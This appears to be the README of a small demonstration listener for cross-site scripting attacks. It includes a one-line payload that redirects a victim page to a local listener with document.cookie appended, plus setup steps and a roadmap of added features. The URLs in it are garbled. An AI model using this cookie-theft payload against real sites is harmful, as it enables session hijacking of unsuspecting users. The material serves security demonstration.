A simple interactive listener for demonstrating XSS attacks.

1. Start demonstrator

npm start

2. Execute an XSS payload on the victim webpage

window.location = "http:https://localhost:8080/?" + document.cookie

3. The webpage is opened with the stolen cookies in demonstrator

1. Start demonstrator

npm start

2. Start the example server

cd example
node server.js

3. Open http:https://localhost:8000/

• Add config feature
• Complete packaging
• Add tunneling proxy feature
• Add more information gathering features
• Add tests
• Add icon
• Add auto update

• BeEF http:https://beefproject.com/ (for advanced purposes)